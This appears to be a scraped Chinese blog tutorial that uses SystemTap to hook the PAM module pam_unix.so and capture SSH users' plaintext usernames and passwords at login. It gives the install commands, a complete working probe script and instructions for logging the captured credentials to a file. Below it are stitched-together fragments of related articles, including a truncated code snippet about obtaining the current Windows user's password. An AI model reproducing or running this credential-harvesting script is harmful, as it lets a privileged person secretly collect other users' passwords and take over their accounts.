systemtap监控工具获取ssh的用户名和密码

systemtap是一款非常强大内核调试工具,可以debug很多关于kernel层的问题。Linux是通过PAM模块检测用户信息和认证信息的,从 而确定一个用户是否可以登录系统,利用这个知识点,使用systemtap捕获一下pam_unix.so该动态库文件的函数调用,获得用户在ssh远程 登录时的用户名和密码吧。

测试环境:CentOS6.4 32bit

内核版本:2.6.32-358.el6.i686

首先安装以下rpm包
# yum --releasever=6.4 update
# yum install -y systemtap
# debuginfo-install $(rpm -qf /lib/security/pam_unix.so)

创建文件,写入以下代码
# touch /root/capture_pass.stp
    #!/usr/bin/stap
    global username, pass, isSuccRet = 1;
    probe process("/lib/security/pam_unix.so").function("_unix_verify_password")
    {
    username = user_string($name);
    pass = user_string($p);
    }
    probe process("/lib/security/pam_unix.so").function("_unix_verify_password").return
    {
    if ($return == 0)
    {
    printf("User: %s\nPassword: %s\n\n", username, pass);
    isSuccRet = 0;
    }
    }
    probe process("/lib/security/pam_unix.so").function("pam_sm_open_session")
    {
    if (isSuccRet != 0)
    {
    printf("Login via ssh service.\n\User: %s\nPassword: %s\n\n", username, pass);
    }
    isSuccRet = 1;
    }

 

赋予可执行权限
chmod +x capture_pass.stp
创建一个记录密码的文件
touch password.txt
执行systemstap脚本
stap capture_pass.stp -o password.txt

本地执行capture_pass.stp脚本,同时ssh远程登录系统,即使第一次登录失败也没有问题,不会记录尝试输入的错误密码。登录成功后 ctl+C终止脚本运行,查看password.txt,成功捕获。systemstap很强大的利器,所以只有超户可以使用。

时间: 2024-09-30 23:26:17

systemtap监控工具获取ssh的用户名和密码的相关文章

获取WinNT/Win2k当前用户名和密码

在Win2k下试验成功. // 获取WinNT/Win2k当前用户名和密码,调用以下函数即可:// bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)//---------------------------------------------------------------------------typedef struct _UNICODE_STRING{ USHO

java-在Android中写一个浏览器,加载一个登录页面如何获取用户名和密码框

问题描述 在Android中写一个浏览器,加载一个登录页面如何获取用户名和密码框 在Android中写一个浏览器,记住密码功能怎么写?大神,请指教. 解决方案 webview加载你的登录页面,登录完了后取cookie或其他认证信息(这个和你登录的网站是如何设计的有关) 解决方案二: 用webview 啊 解决方案三: 用sharedpreference来保存密码或者是账号 解决方案四: 这两个输入框是浏览器的还是网页的?

java-如何操作SVNkit获取文件关联的SVN地址、用户名和密码

问题描述 如何操作SVNkit获取文件关联的SVN地址.用户名和密码 本地的文件已经关联了SVN服务,请问如何通过SVNkit获取文件关联的SVN地址 如果能够解析出关联的SVN服务的用户名和密码就太好了 解决方案 获取密码这个不现实i 解决方案二: http://www.cnblogs.com/xiaobaihome/archive/2012/03/22/2411036.html 解决方案三: 这种事情有点不太现实

notes中在页面怎么获取用户名和密码

问题描述 notes中在页面怎么获取用户名和密码,我知道有三种方法,可是我忘了,哪个好心人能告诉我呀? 解决方案 解决方案二:既然忘了,怎么知道有三种方法?解决方案三:@Name([CN];@UserName)解决方案四:用公式取或者用LotusScript取解决方案五:@Name([CN];@UserName)notesSession.UserName@V3UserName解决方案六:密码?的确想知道.这个估计很有难度的吧.如何来读取用户的密码为明文呢?解决方案七:LS,可以在用户登录或者修改

ix系列的iomega存储配置支持诊断模式后,通过ssh登录的用户名和密码是什么?

解决方案: 与Iomega的px系列不同,Ix系列的Iomega存储如果需要进入支持诊断模式进行dump日志下载或者开启ssh功能,需要修改URL中".html?"之前的字段为"support".而且ix系列在设置支持ssh登录访问时也没有让用户输入ssh登录的用户名和密码. 在ssh登录后台时,用户名/密码为root/soho.

JS开发字典探测用户名或密码工具

js 用javascript开发字典探测用户名或密码工具 文章作者:翟振凯 (小琦)作者网站:http://www.xiaoqi.net 作者论坛:http://www.tdqy.comQQ:     22336848 53353866 实例演示打包下载 授人予鱼,不如授人予渔.本文注重讲述作者的开发思路与程序的实现方法,目地是让大家了解一个程序的开发过程和这个程序功能的实现原理,而不仅仅是给大家提供一个这样的工具.希望看过本文后的朋友会有所收获,能和我共同分享用javascript编写程序的乐

mvc实现点击按钮自动登录,不输入用户名和密码

问题描述 mvc实现点击按钮自动登录,不输入用户名和密码 我想用MVC实现点击按钮就自动获取到系统的用户名和密码并显示在模板页中,请问那个大神能给解决一下啊!先谢了见图所示:当点击按钮时就能自动获取用户名显示出来 解决方案 启用windows身份验证即可 解决方案二: 要使用Windows身份认证模式,需要在web.config设置: 解决方案三: 要使用Windows身份认证模式,需要在web.config设置:<authentication mode=""Windows&qu

mysql-Java Web连接MySql数据库,修改数据库连接类中的用户名和密码没有效果?

问题描述 Java Web连接MySql数据库,修改数据库连接类中的用户名和密码没有效果? 现在在做一个项目,其中编写了数据库连接及操作的类. 1.ConnDB类. package com.wgh.tools; import java.io.InputStream; //导入java.io.InputStream类 import java.sql.*; //导入java.sql包中的所有类 import java.util.Properties; //导入java.util.Properties

php使用cookie实现记住用户名和密码实现代码_php实例

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form id="form1" name="form1" method="post" action="check_remember.php"> <table width="300" border=&